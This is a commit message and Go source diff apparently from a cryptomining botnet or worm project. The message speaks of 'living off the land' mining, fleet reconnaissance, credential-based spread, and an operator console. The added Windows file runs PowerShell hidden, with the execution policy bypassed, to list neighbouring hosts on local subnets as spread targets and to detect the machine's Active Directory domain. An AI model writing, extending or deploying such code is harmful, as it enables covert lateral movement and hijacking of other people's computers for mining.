Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/deploy/network_hints_neighbors_windows.go

@@ -0,0 +1,54 @@
+//go:build windows
+
+package deploy
+
+import (
+	"net"
+	"strings"
+)
+
+func neighborHosts() []string {
+	out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
+		`Get-NetNeighbor -AddressFamily IPv4 -ErrorAction SilentlyContinue | Where-Object { $_.State -ne 'Incomplete' -and $_.IPAddress -notmatch '^127\.' } | Select-Object -ExpandProperty IPAddress`)
+	if err != nil {
+		return nil
+	}
+	local := getLocalIPs()
+	subnets := make(map[string]bool)
+	for _, ip := range local {
+		subnets[getSubnet(ip)] = true
+	}
+
+	var hosts []string
+	seen := make(map[string]bool)
+	for _, line := range strings.Split(string(out), "\n") {
+		line = strings.TrimSpace(line)
+		if line == "" {
+			continue
+		}
+		ip := net.ParseIP(line)
+		if ip == nil || ip.To4() == nil || ip.IsLoopback() || ip.IsMulticast() {
+			continue
+		}
+		ipStr := ip.To4().String()
+		if !subnets[getSubnet(ipStr)] || seen[ipStr] {
+			continue
+		}
+		seen[ipStr] = true
+		hosts = append(hosts, ipStr)
+	}
+	return hosts
+}
+
+func discoverADDomainPlatform() string {
+	out, err := HiddenOutput("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
+		`(Get-CimInstance Win32_ComputerSystem -ErrorAction SilentlyContinue).Domain`)
+	if err != nil {
+		return ""
+	}
+	domain := strings.TrimSpace(string(out))
+	if domain == "" || strings.EqualFold(domain, "WORKGROUP") {
+		return ""
+	}
+	return strings.ToLower(domain)
+}